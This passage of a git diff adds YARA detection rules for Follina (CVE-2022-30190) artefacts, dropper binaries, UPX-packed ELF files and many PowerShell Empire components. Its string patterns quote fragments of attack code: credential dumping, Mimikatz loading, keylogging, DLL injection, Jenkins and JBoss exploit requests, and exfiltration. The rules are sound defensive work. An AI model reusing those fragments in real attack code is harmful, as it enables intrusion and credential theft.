+      $x18 = "2NjAwNzQwMDcwMDAzQTAwMkYwMDJGMD" ascii
+      /* TODO: more protocols */
+   condition:
+      filesize < 10MB
+      and 1 of ($sa*)
+      and 1 of ($sb*)
+      and 1 of ($sc*)
+      and 1 of ($x*)
+}
+
+rule SUSP_DOC_RTF_ExternalResource_EMAIL_Jun22 {
+   meta:
+      description = "Detects a suspicious pattern in RTF files which downloads external resources as seen in CVE-2022-30190 / Follina exploitation inside e-mail attachment"
+      author = "Christian Burkard"
+      date = "2022-06-01"
+      reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
+      score = 70
+      id = "3ddc838c-8520-5572-9652-8cb823f83e27"
+   strings:
+      /* <Relationships */
+      $sa1 ="PFJlbGF0aW9uc2hpcH" ascii
+      $sa2 ="xSZWxhdGlvbnNoaXBz" ascii
+      $sa3 ="8UmVsYXRpb25zaGlwc" ascii
+      /* TargetMode="External" */
+      $sb1 ="VGFyZ2V0TW9kZT0iRXh0ZXJuYWwi" ascii
+      $sb2 ="RhcmdldE1vZGU9IkV4dGVybmFsI" ascii
+      $sb3 ="UYXJnZXRNb2RlPSJFeHRlcm5hbC" ascii
+      /* .html!" */
+      $sc1 ="Lmh0bWwhI" ascii
+      $sc2 ="5odG1sIS" ascii
+      $sc3 ="uaHRtbCEi" ascii
+   condition:
+      filesize < 400KB
+      and 1 of ($sa*)
+      and 1 of ($sb*)
+      and 1 of ($sc*)
+}
+
+rule SUSP_Msdt_Artefact_Jun22_2 {
+   meta:
+      description = "Detects suspicious pattern in msdt diagnostics log (e.g. CVE-2022-30190 / Follina exploitation)"
+      author = "Christian Burkard"
+      date = "2022-06-01"
+      modified = "2022-07-29"
+      reference = "https://twitter.com/nas_bench/status/1531718490494844928"
+      score = 75
+      id = "aa2a4bd7-2094-5652-a088-f58d0c7d3f62"
+   strings:
+      $a1 = "<ScriptError><Data id=\"ScriptName\" name=\"Script\">TS_ProgramCompatibilityWizard.ps1" ascii
+
+      $x1 = "/../../" ascii
+      $x2 = "$(Invoke-Expression" ascii
+      $x3 = "$(IEX(" ascii nocase
+   condition:
+      uint32(0) == 0x6D783F3C /* <?xm */
+      and $a1
+      and 1 of ($x*)
+}
+
+rule SUSP_LNK_Follina_Jun22 {
+   meta:
+      description = "Detects LNK files with suspicious Follina/CVE-2022-30190 strings"
+      author = "Paul Hager"
+      date = "2022-06-02"
+      reference = "https://twitter.com/gossithedog/status/1531650897905950727"
+      score = 75
+      id = "d331d584-2ab3-5275-b435-6129c7291417"
+   strings:
+      $sa1 = "msdt.exe" ascii wide
+      $sa2 = "msdt " ascii wide
+      $sa3 = "ms-msdt:" ascii wide
+
+      $sb = "IT_BrowseForFile=" ascii wide
+   condition:
+      filesize < 5KB and
+      uint16(0) == 0x004c and uint32(4) == 0x00021401 and
+      1 of ($sa*) and $sb
+}
diff --git a/yara-Neo23x0/gen_dropper_pdb.yar b/yara-Neo23x0/gen_dropper_pdb.yar
new file mode 100644
index 0000000..a2a6e40
--- /dev/null
+++ b/yara-Neo23x0/gen_dropper_pdb.yar
@@ -0,0 +1,17 @@
+
+rule Generic_Dropper  {
+   meta:
+      description = "Detects Dropper PDB string in file"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/JAHZVL"
+      date = "2018-03-03"
+      id = "60ce6a5c-2e12-515b-b8cb-8c87500cb37b"
+   strings:
+      $s1 = "\\Release\\Dropper.pdb"
+      $s2 = "\\Release\\dropper.pdb"
+      $s3 = "\\Debug\\Dropper.pdb"
+      $s4 = "\\Debug\\dropper.pdb"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 900KB and 1 of them
+}
diff --git a/yara-Neo23x0/gen_elf_file_anomalies.yar b/yara-Neo23x0/gen_elf_file_anomalies.yar
new file mode 100644
index 0000000..7ff5ef1
--- /dev/null
+++ b/yara-Neo23x0/gen_elf_file_anomalies.yar
@@ -0,0 +1,21 @@
+
+rule SUSP_ELF_LNX_UPX_Compressed_File {
+   meta:
+      description = "Detects a suspicious ELF binary with UPX compression"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-12-12"
+      score = 40
+      hash1 = "038ff8b2fef16f8ee9d70e6c219c5f380afe1a21761791e8cbda21fa4d09fdb4"
+      id = "078937de-59b3-538e-a5c3-57f4e6050212"
+   strings:
+      $s1 = "PROT_EXEC|PROT_WRITE failed." fullword ascii
+      $s2 = "$Id: UPX" fullword ascii
+      $s3 = "$Info: This file is packed with the UPX executable packer" ascii
+
+      $fp1 = "check your UCL installation !"
+   condition:
+      uint16(0) == 0x457f and filesize < 2000KB and
+      filesize > 30KB and 2 of ($s*)
+      and not 1 of ($fp*)
+}
diff --git a/yara-Neo23x0/gen_empire.yar b/yara-Neo23x0/gen_empire.yar
new file mode 100644
index 0000000..e735436
--- /dev/null
+++ b/yara-Neo23x0/gen_empire.yar
@@ -0,0 +1,601 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2016-11-05
+   Identifier: Empire
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Empire_Invoke_MetasploitPayload {
+   meta:
+      description = "Detects Empire component - file Invoke-MetasploitPayload.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "a85ca27537ebeb79601b885b35ddff6431860b5852c6a664d32a321782808c54"
+      id = "608c30b0-826a-55b1-afb8-756b476d6b55"
+   strings:
+      $s1 = "$ProcessInfo.Arguments=\"-nop -c $DownloadCradle\"" fullword ascii
+      $s2 = "$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 9KB and 1 of them ) or all of them
+}
+
+rule Empire_Exploit_Jenkins {
+   meta:
+      description = "Detects Empire component - file Exploit-Jenkins.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "a5182cccd82bb9984b804b365e07baba78344108f225b94bd12a59081f680729"
+      id = "f2162783-34cd-5db4-bd1c-6c58feb92e77"
+   strings:
+      $s1 = "$postdata=\"script=println+new+ProcessBuilder%28%27\"+$($Cmd)+\"" ascii
+      $s2 = "$url = \"http://\"+$($Rhost)+\":\"+$($Port)+\"/script\"" fullword ascii
+      $s3 = "$Cmd = [System.Web.HttpUtility]::UrlEncode($Cmd)" fullword ascii
+   condition:
+      ( uint16(0) == 0x6620 and filesize < 7KB and 1 of them ) or all of them
+}
+
+rule Empire_Get_SecurityPackages {
+   meta:
+      description = "Detects Empire component - file Get-SecurityPackages.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "5d06e99121cff9b0fce74b71a137501452eebbcd1e901b26bde858313ee5a9c1"
+      id = "a109eda1-a26d-5cf6-b6b5-1a1a1e770a0a"
+   strings:
+      $s1 = "$null = $EnumBuilder.DefineLiteral('LOGON', 0x2000)" fullword ascii
+      $s2 = "$EnumBuilder = $ModuleBuilder.DefineEnum('SSPI.SECPKG_FLAG', 'Public', [Int32])" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 20KB and 1 of them ) or all of them
+}
+
+rule Empire_Invoke_PowerDump {
+   meta:
+      description = "Detects Empire component - file Invoke-PowerDump.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "095c5cf5c0c8a9f9b1083302e2ba1d4e112a410e186670f9b089081113f5e0e1"
+      id = "d1082a4e-d458-57fb-b332-7c775c8ef2dd"
+   strings:
+      $x16 = "$enc = Get-PostHashdumpScript" fullword ascii
+      $x19 = "$lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;" fullword ascii
+      $x20 = "$rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);" fullword ascii
+   condition:
+      ( uint16(0) == 0x2023 and filesize < 60KB and 1 of them ) or all of them
+}
+
+rule Empire_Install_SSP {
+   meta:
+      description = "Detects Empire component - file Install-SSP.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "7fd921a23950334257dda57b99e03c1e1594d736aab2dbfe9583f99cd9b1d165"
+      id = "06bbdcc5-c48b-5753-88a2-5c962d1b986f"
+   strings:
+      $s1 = "Install-SSP -Path .\\mimilib.dll" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 20KB and 1 of them ) or all of them
+}
+
+rule Empire_Invoke_ShellcodeMSIL {
+   meta:
+      description = "Detects Empire component - file Invoke-ShellcodeMSIL.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "9a9c6c9eb67bde4a8ce2c0858e353e19627b17ee2a7215fa04a19010d3ef153f"
+      id = "06011b51-bad7-5656-ac37-e49f9b6d0498"
+   strings:
+      $s1 = "$FinalShellcode.Length" fullword ascii
+      $s2 = "@(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3)" fullword ascii
+      $s3 = "@(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57," fullword ascii
+      $s4 = "$TargetMethod.Invoke($null, @(0x11112222)) | Out-Null" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 30KB and 1 of them ) or all of them
+}
+
+rule HKTL_Empire_PowerUp {
+   meta:
+      description = "Detects Empire component - file PowerUp.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "ad9a5dff257828ba5f15331d59dd4def3989537b3b6375495d0c08394460268c"
+      id = "e79d093e-7481-52a3-a350-4d1b6d8955cd"
+   strings:
+      $x2 = "$PoolPasswordCmd = 'c:\\windows\\system32\\inetsrv\\appcmd.exe list apppool" fullword ascii
+   condition:
+      ( uint16(0) == 0x233c and filesize < 2000KB and 1 of them ) or all of them
+}
+
+rule Empire_Invoke_Mimikatz_Gen {
+   meta:
+      description = "Detects Empire component - file Invoke-Mimikatz.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
+      id = "1f771a17-2534-5811-80bd-bc1bab37d97c"
+   strings:
+      $s1 = "= \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQ" ascii
+      $s2 = "Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, \"Void\", 0, \"\", $ExeArgs)" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 4000KB and 1 of them ) or all of them
+}
+
+rule Empire_Get_GPPPassword {
+   meta:
+      description = "Detects Empire component - file Get-GPPPassword.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "55a4519c4f243148a971e4860225532a7ce730b3045bde3928303983ebcc38b0"
+      id = "7791b009-19d3-5d08-8ef7-4723d28830ed"
+   strings:
+      $s1 = "$Base64Decoded = [Convert]::FromBase64String($Cpassword)" fullword ascii
+      $s2 = "$XMlFiles += Get-ChildItem -Path \"\\\\$DomainController\\SYSVOL\" -Recurse" ascii
+      $s3 = "function Get-DecryptedCpassword {" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 30KB and 1 of them ) or all of them
+}
+
+rule Empire_Invoke_SmbScanner {
+   meta:
+      description = "Detects Empire component - file Invoke-SmbScanner.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "9a705f30766279d1e91273cfb1ce7156699177a109908e9a986cc2d38a7ab1dd"
+      id = "63cd048b-04fd-5b4f-9d4d-3a001c31b4df"
+   strings:
+      $s1 = "$up = Test-Connection -count 1 -Quiet -ComputerName $Computer " fullword ascii
+      $s2 = "$out | add-member Noteproperty 'Password' $Password" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 10KB and 1 of them ) or all of them
+}
+
+rule Empire_Exploit_JBoss {
+   meta:
+      description = "Detects Empire component - file Exploit-JBoss.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "9ea3e00b299e644551d90bbee0ce3e4e82445aa15dab7adb7fcc0b7f1fe4e653"
+      id = "a9c75cf5-9469-5a45-b750-69728ed0069f"
+   strings:
+      $s1 = "Exploit-JBoss" fullword ascii
+      $s2 = "$URL = \"http$($SSL)://\" + $($Rhost) + ':' + $($Port)" ascii
+      $s3 = "\"/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service" ascii
+      $s4 = "http://blog.rvrsh3ll.net" fullword ascii
+      $s5 = "Remote URL to your own WARFile to deploy." fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 10KB and 1 of them ) or all of them
+}
+
+rule Empire_dumpCredStore {
+   meta:
+      description = "Detects Empire component - file dumpCredStore.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "c1e91a5f9cc23f3626326dab2dcdf4904e6f8a332e2bce8b9a0854b371c2b350"
+      id = "cdb87ed4-fa90-5724-b37d-97cf8e4b8326"
+   strings:
+      $x1 = "[DllImport(\"Advapi32.dll\", SetLastError = true, EntryPoint = \"CredReadW\"" ascii
+      $s12 = "[String] $Msg = \"Failed to enumerate credentials store for user '$Env:UserName'\"" fullword ascii
+      $s15 = "Rtn = CredRead(\"Target\", CRED_TYPE.GENERIC, out Cred);" fullword ascii
+   condition:
+      ( uint16(0) == 0x233c and filesize < 40KB and 1 of them ) or all of them
+}
+
+rule Empire_Invoke_EgressCheck {
+   meta:
+      description = "Detects Empire component - file Invoke-EgressCheck.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "e2d270266abe03cfdac66e6fc0598c715e48d6d335adf09a9ed2626445636534"
+      id = "21e09250-6853-5743-a6ef-aa6be8091d33"
+   strings:
+      $s1 = "egress -ip $ip -port $c -delay $delay -protocol $protocol" fullword ascii
+   condition:
+      ( uint16(0) == 0x233c and filesize < 10KB and 1 of them ) or all of them
+}
+
+rule Empire_ReflectivePick_x64_orig {
+   meta:
+      description = "Detects Empire component - file ReflectivePick_x64_orig.dll"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      modified = "2022-12-21"
+      hash1 = "a8c1b108a67e7fc09f81bd160c3bafb526caf3dbbaf008efb9a96f4151756ff2"
+      id = "cd69a149-d881-5f93-9647-84241bd96ba5"
+   strings:
+      $a1 = "\\PowerShellRunner.pdb" ascii
+      $a2 = "PowerShellRunner.dll" fullword wide
+      
+      $s1 = "ReflectivePick" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and 1 of ($a*) and $s1
+}
+
+rule Empire_Out_Minidump {
+   meta:
+      description = "Detects Empire component - file Out-Minidump.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "7803ae7ba5d4e7d38e73745b3f321c2ca714f3141699d984322fa92e0ff037a1"
+      id = "8c53d2ab-afc5-5d7b-97e1-496425b9664f"
+   strings:
+      $s1 = "$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle," fullword ascii
+      $s2 = "$ProcessFileName = \"$($ProcessName)_$($ProcessId).dmp\"" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 10KB and 1 of them ) or all of them
+}
+
+rule Empire_Invoke_PsExec {
+   meta:
+      description = "Detects Empire component - file Invoke-PsExec.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "0218be4323959fc6379489a6a5e030bb9f1de672326e5e5b8844ab5cedfdcf88"
+      id = "19aaec3e-3e8f-5d7d-9c70-a212756c0300"
+   strings:
+      $s1 = "Invoke-PsExecCmd" fullword ascii
+      $s2 = "\"[*] Executing service .EXE" fullword ascii
+      $s3 = "$cmd = \"%COMSPEC% /C echo $Command ^> %systemroot%\\Temp\\" ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 50KB and 1 of them ) or all of them
+}
+
+rule Empire_Invoke_PostExfil {
+   meta:
+      description = "Detects Empire component - file Invoke-PostExfil.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "00c0479f83c3dbbeff42f4ab9b71ca5fe8cd5061cb37b7b6861c73c54fd96d3e"
+      id = "58d9e057-efde-56ab-9b7e-982342a910e2"
+   strings:
+      $s1 = "# upload to a specified exfil URI" fullword ascii
+      $s2 = "Server path to exfil to." fullword ascii
+   condition:
+      ( uint16(0) == 0x490a and filesize < 2KB and 1 of them ) or all of them
+}
+
+rule Empire_Invoke_SMBAutoBrute {
+   meta:
+      description = "Detects Empire component - file Invoke-SMBAutoBrute.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "7950f8abdd8ee09ed168137ef5380047d9d767a7172316070acc33b662f812b2"
+      id = "a6b402ac-0925-5bc6-9d6a-b2b811496f9e"
+   strings:
+      $s1 = "[*] PDC: LAB-2008-DC1.lab.com" fullword ascii
+      $s2 = "$attempts = Get-UserBadPwdCount $userid $dcs" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 30KB and 1 of them ) or all of them
+}
+
+rule Empire_Get_Keystrokes {
+   meta:
+      description = "Detects Empire component - file Get-Keystrokes.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "c36e71db39f6852f78df1fa3f67e8c8a188bf951e96500911e9907ee895bf8ad"
+      id = "7fb57a0d-6b65-5ee8-96ef-9af303f15007"
+   strings:
+      $s1 = "$RightMouse   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 30KB and 1 of them ) or all of them
+}
+
+rule Empire_Invoke_DllInjection {
+   meta:
+      description = "Detects Empire component - file Invoke-DllInjection.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "304031aa9eca5a83bdf1f654285d86df79cb3bba4aa8fe1eb680bd5b2878ebf0"
+      id = "6aa14e8f-9801-5cd3-beb0-955e19d25503"
+   strings:
+      $s1 = "-Dll evil.dll" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 40KB and 1 of them ) or all of them
+}
+
+rule Empire_KeePassConfig {
+   meta:
+      description = "Detects Empire component - file KeePassConfig.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "5a76e642357792bb4270114d7cd76ce45ba24b0d741f5c6b916aeebd45cff2b3"
+      id = "814a6ff9-a6ac-55e7-bb3f-597351ce421d"
+   strings:
+      $s1 = "$UserMasterKeyFiles = @(, $(Get-ChildItem -Path $UserMasterKeyFolder -Force | Select-Object -ExpandProperty FullName) )" fullword ascii
+   condition:
+      ( uint16(0) == 0x7223 and filesize < 80KB and 1 of them ) or all of them
+}
+
+rule Empire_Invoke_SSHCommand {
+   meta:
+      description = "Detects Empire component - file Invoke-SSHCommand.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      hash1 = "cbaf086b14d5bb6a756cbda42943d4d7ef97f8277164ce1f7dd0a1843e9aa242"
+      id = "b06b507f-b6b8-5f4b-8d6d-920f141e9ac1"
+   strings:
+      $s1 = "$Base64 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAA" ascii
+      $s2 = "Invoke-SSHCommand -ip 192.168.1.100 -Username root -Password test -Command \"id\"" fullword ascii
+      $s3 = "Write-Verbose \"[*] Error loading dll\"" fullword ascii
+   condition:
+      ( uint16(0) == 0x660a and filesize < 2000KB and 1 of them ) or all of them
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule Empire_PowerShell_Framework_Gen1 {
+   meta:
+      description = "Detects Empire component"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      super_rule = 1
+      hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
+      hash2 = "a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
+      hash3 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
+      hash4 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
+      hash5 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
+      id = "8fdb48a0-5d40-55be-ae23-e9c8c4c2ecea"
+   strings:
+      $s1 = "Write-BytesToMemory -Bytes $Shellcode" ascii
+      $s2 = "$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 4000KB and 1 of them ) or all of them
+}
+
+rule Empire_PowerUp_Gen {
+   meta:
+      description = "Detects Empire component - from files PowerUp.ps1, PowerUp.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      super_rule = 1
+      hash1 = "ad9a5dff257828ba5f15331d59dd4def3989537b3b6375495d0c08394460268c"
+      id = "ae6b0462-7193-54a4-8fb9-befc1b461b15"
+   strings:
+      $s1 = "$Result = sc.exe config $($TargetService.Name) binPath= $OriginalPath" fullword ascii
+      $s2 = "$Result = sc.exe pause $($TargetService.Name)" fullword ascii
+   condition:
+      ( uint16(0) == 0x233c and filesize < 2000KB and 1 of them ) or all of them
+}
+
+rule Empire_PowerShell_Framework_Gen2 {
+   meta:
+      description = "Detects Empire component"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      super_rule = 1
+      hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
+      hash3 = "a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
+      hash5 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
+      hash6 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
+      hash8 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
+      id = "eab277ca-0dd4-5035-82aa-1ac2120bac94"
+   strings:
+      $x1 = "$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)" fullword ascii
+      $s20 = "#Shellcode: CallDllMain.asm" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 4000KB and 1 of them ) or all of them
+}
+
+rule Empire_Agent_Gen {
+   meta:
+      description = "Detects Empire component - from files agent.ps1, agent.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      super_rule = 1
+      hash1 = "380fd09bfbe47d5c8c870c1c97ff6f44982b699b55b61e7c803d3423eb4768db"
+      hash2 = "380fd09bfbe47d5c8c870c1c97ff6f44982b699b55b61e7c803d3423eb4768db"
+      id = "0fac915c-2502-50da-93d1-f81e9282aa9a"
+   strings:
+      $s1 = "$wc.Headers.Add(\"User-Agent\",$script:UserAgent)" fullword ascii
+      $s2 = "$min = [int]((1-$script:AgentJitter)*$script:AgentDelay)" fullword ascii
+      $s3 = "if ($script:AgentDelay -ne 0){" fullword ascii
+   condition:
+      ( uint16(0) == 0x660a and filesize < 100KB and 1 of them ) or all of them
+}
+
+rule Empire_PowerShell_Framework_Gen3 {
+   meta:
+      description = "Detects Empire component"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      super_rule = 1
+      hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
+      hash2 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
+      hash3 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
+      hash4 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
+      id = "b0f7ed41-be65-5e43-aeb1-56e5e7384e8f"
+   strings:
+      $s1 = "if (($PEInfo.FileType -ieq \"DLL\") -and ($RemoteProcHandle -eq [IntPtr]::Zero))" fullword ascii
+      $s2 = "remote DLL injection" ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 4000KB and 1 of them ) or all of them
+}
+
+rule Empire_Invoke_InveighRelay_Gen {
+   meta:
+      description = "Detects Empire component - from files Invoke-InveighRelay.ps1, Invoke-InveighRelay.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      super_rule = 1
+      hash2 = "21b90762150f804485219ad36fa509aeda210d46453307a9761c816040312f41"
+      id = "0adebf6f-99e1-5461-8efc-e4660faf6d5d"
+   strings:
+      $s1 = "$inveigh.SMBRelay_failed_list.Add(\"$HTTP_NTLM_domain_string\\$HTTP_NTLM_user_string $SMBRelayTarget\")" fullword ascii
+      $s2 = "$NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 200KB and 1 of them ) or all of them
+}
+
+rule Empire_KeePassConfig_Gen {
+   meta:
+      description = "Detects Empire component - from files KeePassConfig.ps1, KeePassConfig.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      super_rule = 1
+      hash2 = "5a76e642357792bb4270114d7cd76ce45ba24b0d741f5c6b916aeebd45cff2b3"
